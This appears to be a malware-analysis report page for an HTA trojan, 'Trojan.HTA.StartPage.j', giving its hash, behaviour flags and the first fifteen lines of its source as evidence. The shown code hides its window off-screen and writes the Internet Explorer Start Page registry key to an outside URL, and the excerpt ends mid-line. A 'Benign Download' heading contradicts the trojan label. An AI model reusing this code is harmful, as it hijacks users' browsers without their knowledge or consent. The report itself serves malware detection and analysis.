Benign Download

Trojan.HTA.StartPage.j

HTA disables its taskbar entryHTA requests a minimized window

SHA-256a518391954b006d7f85c59d58ad0de326ebf6ec3a790081d072ce9153b7e2d69

Evidence

Window moves off-screen or shrinks lines 1–15

1<head>
2
3<hta:application id=as applicationName=abcdefg showInTaskBar=no caption=no innerBorder=no selection=no scroll=no contextmenu=no maximizeButton=no minimizeButton=no navigable=no border=0 windowState=minimize /></head>
4
5<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>
6
7<script>window.moveTo(5000,5000);window.resizeTo(1,1);
8
9as.windowState='normal';
10
11HomePageUrl='http://1autocity.com/index.php?code=gA5yI4esc6';
12
13wsh.RegWrite('HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page', HomePageUrl);
14
15wsh.RegWrite('HKCU\\Software\\Microsoft\\Int …